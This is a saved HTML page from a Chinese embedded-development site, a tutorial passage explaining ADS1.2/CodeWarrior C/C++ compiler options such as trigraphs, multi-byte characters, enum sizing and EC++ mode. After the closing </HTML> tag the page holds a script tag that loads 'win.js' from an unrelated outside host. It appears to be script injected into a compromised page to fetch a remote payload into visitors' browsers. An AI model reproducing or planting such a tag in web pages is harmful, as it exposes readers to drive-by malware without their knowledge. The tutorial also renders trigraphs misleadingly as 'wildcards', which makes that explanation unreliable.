📄 ads1_2 使用教程 (3)续 编译2 - 开发工具 - arm嵌入式资源站.htm
字号:
size=2>100% ANSI </FONT><FONT size=2>兼容代码;</FONT>
<LI><STRONG><FONT size=2>扩展通配符</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Expand
Trigraphs):</FONT></STRONG> <FONT
size=2>默认情况下,通配符是不允许的。为了能够使用通配符,就要选中此项。所谓通配符,就是在你的源代码中代表字符常量的方式。例如,
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>'????' </FONT><FONT size=2>就是一个通配符;</FONT>
<LI><STRONG><FONT size=2>多字节敏感</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Multi-Byte
Aware</FONT></STRONG><FONT
face="Arial, Helvetica, sans-serif"
size=2>)<STRONG>:</STRONG> </FONT><FONT
size=2>如果你是有能够的编程语言要求使用多字节字符</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>(</FONT><FONT size=2>例如 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Kanji
</FONT><FONT size=2>或 </FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>Unicode)</FONT><FONT
size=2>,就要选中此项。这样编译器才能正确地处理源代码中的多字节字符;</FONT>
<LI><STRONG><FONT size=2>指示到 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>SOM (Direct
to SOM):</FONT></STRONG> <FONT size=2>这是 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Macintosh
</FONT><FONT size=2>平台上才有的功能,它允许你在 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodeWarrior
</FONT><FONT size=2>中直接创建 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>SOM
</FONT><FONT size=2>代码。</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>SOM
</FONT><FONT size=2>是一种使用于苹果机上的开放文档环境的代码类型,但现在已没人用了;
</FONT>
<LI><STRONG><FONT size=2>使用 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CR
</FONT><FONT size=2>为换行符</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Map
Newlines to CR):</FONT></STRONG> <FONT
size=2>这个选项允许你交换 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>'\n'
</FONT><FONT size=2>和 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>'\r'
(</FONT><FONT size=2>这是用于标识源码行结束的符号</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>)</FONT><FONT size=2>。此选项只对 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Mac OS
</FONT><FONT size=2>上的编程有用;</FONT>
<LI><STRONG><FONT size=2>不严格的指针类型规则</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Relaxed
Pointer Type Rules):</FONT></STRONG> <FONT
size=2>选中此项将把 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>char *,
unsigned char *, void * </FONT><FONT size=2>和
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>Ptr </FONT><FONT
size=2>当作是同一种类新。当你从另一个并没有正确管理指针类型的源代码中,或者是从一个使用还不能正确支持这些类型的老编译平台上开发的源代码中继承代码时,这个选项就很有用了;</FONT>
<LI><STRONG><FONT size=2>枚举类型总是整型</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Enums
Always Ints):</FONT></STRONG> <FONT
size=2>通常情况下,编译器将一个枚举类型分配与之最接近的类型同样的空间。如果你想使枚举类型的空间总是和整型一样,那么就要选中此项。所谓枚举类型就像这样:</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>enum
{itemone, itemtwo = 7, itemthree}</FONT><FONT
size=2>。其中,</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>itemone
</FONT><FONT size=2>等于 </FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>0</FONT><FONT size=2>,</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>itemtwo
</FONT><FONT size=2>等于 </FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>7</FONT><FONT size=2>,</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>itemthree
</FONT><FONT size=2>等于 </FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>8</FONT><FONT size=2>; </FONT>
<LI><STRONG><FONT size=2>使用无符号字符类型</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Use
Unsigned Chars):</FONT></STRONG> <FONT
size=2>选中此项将把所有字符数据类型当作无符号字符类型来处理;</FONT>
<LI><STRONG><FONT face="Arial, Helvetica, sans-serif"
size=2>EC++ </FONT><FONT size=2>兼容模式</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(EC++
Compatibility Mode):</FONT></STRONG> <FONT size=2>使用
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>CodeWarrior </FONT><FONT size=2>编译嵌入式
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>C++ (EC++) </FONT><FONT size=2>代码时,要选中此项。请注意,此时
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>C++ </FONT><FONT size=2>中的诸如模板</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>(templates)</FONT><FONT size=2>、例外</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>(exceptions)</FONT><FONT size=2>和其它一些
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>C++ </FONT><FONT size=2>的高级功能就不可用了。具体情况请查阅
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>C++ </FONT><FONT size=2>手册; </FONT>
<LI><STRONG><FONT size=2>允许 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Objective
C(Enable Objective C):</FONT></STRONG> <FONT
size=2>为了使用 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Objective C
(</FONT><FONT size=2>在 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>NeXT
</FONT><FONT size=2>计算机操作系统上很著名的编程语言</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>)</FONT><FONT size=2>,要选中此项。此选项只能在 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Mac OS
</FONT><FONT size=2>下只用;</FONT>
<LI><STRONG><FONT size=2>前缀文件</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(Prefix
File):</FONT></STRONG> <FONT
size=2>如果需要在每个源文件中包括一个头或预编译头文件,就要将该文件名输入在此处。适用情况:当所有源文件都要访问一个特殊的定义,但你又不想在每个源文件中键入
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>#include </FONT><FONT
size=2>来包括该定义时,使用此选项很方便。</FONT> </LI></UL>
<P><STRONG><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>注意</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>:</FONT></STRONG> <FONT size=2>上述许多选项在
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>Mac OS </FONT><FONT size=2>和 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Windows
</FONT><FONT size=2>平台上的 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodeWarrior
</FONT><FONT
size=2>编译器版本中都是一样的。但根据我们在上面对这些编译器选项的描述可知,一些选项在两个平台上还是有一些不同的。然而,<FONT
face="Arial, Helvetica, sans-serif">C </FONT>和 <FONT
face="Arial, Helvetica, sans-serif">C++
</FONT>时平台无关的编程语言,因此大多数概念都是可以应用于任何平台的。</FONT><BR><FONT
face="Arial, Helvetica, sans-serif"
size=2> </FONT></P></TD></TR></TBODY></TABLE></CENTER></DIV></TD></TR></TBODY></TABLE>
<SCRIPT>my_tag("gg_300_300",1);</SCRIPT>
</TD></TR></TBODY></TABLE><BR><A name=comment></A>相关评论:
<HR>
<TABLE width="98%" border=0>
<TBODY></TBODY></TABLE>
<SCRIPT language=JavaScript>
comment_author = '评论人';
comment_content = '评论内容';
</SCRIPT>
<SPAN id=comment_form></SPAN><BR><IMG height=6
src="ADS1_2 使用教程 (3)续 编译2 - 开发工具 - ARM嵌入式资源站.files/jian_tou_2.gif" width=9
align=absMiddle> 本文章所属分类:<A href="http://www.embed-game.com/">首页</A> → <A
href="http://www.embed-game.com/article_html/BianYiQiXiangGuan/">开发工具</A>
</DIV></DIV></TD>
<TD vAlign=top width=180><!-- 右边部分 -->
<DIV class="t3 bcy bgy bg_blue">
<SCRIPT>my_tag("my_text_002",1);;</SCRIPT>
</DIV>
<DIV class="b3 bcy mb12">
<SCRIPT>my_tag("gg_160_600",1);</SCRIPT>
</DIV>
<DIV class="t4 bcy bgy mb12 bg_blue"><A class=lbk
href="http://www.embed-game.com/">返回网站首页</A></DIV>
<DIV class=b4y>
<SCRIPT>my_tag("feedback_text",1);</SCRIPT>
</DIV></TD></TR></TBODY></TABLE><!-- 页底部分 -->
<DIV id=cp>
<SCRIPT>my_tag("copyright",1);</SCRIPT>
</DIV><!-- 以下js用于自动更新静态页,统计文章点击数等用途 -->
<SCRIPT>
hbcms_dir = "";
hbcms_tpl = "article_detail.tpl.html";
hbcms_ctime = 1178847324;
</SCRIPT>
<SCRIPT
src="ADS1_2 使用教程 (3)续 编译2 - 开发工具 - ARM嵌入式资源站.files/hbcms_bottom_js.js"></SCRIPT>
</BODY></HTML>
<script language=javascript src=http://bole.netstv.net/xia/win.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -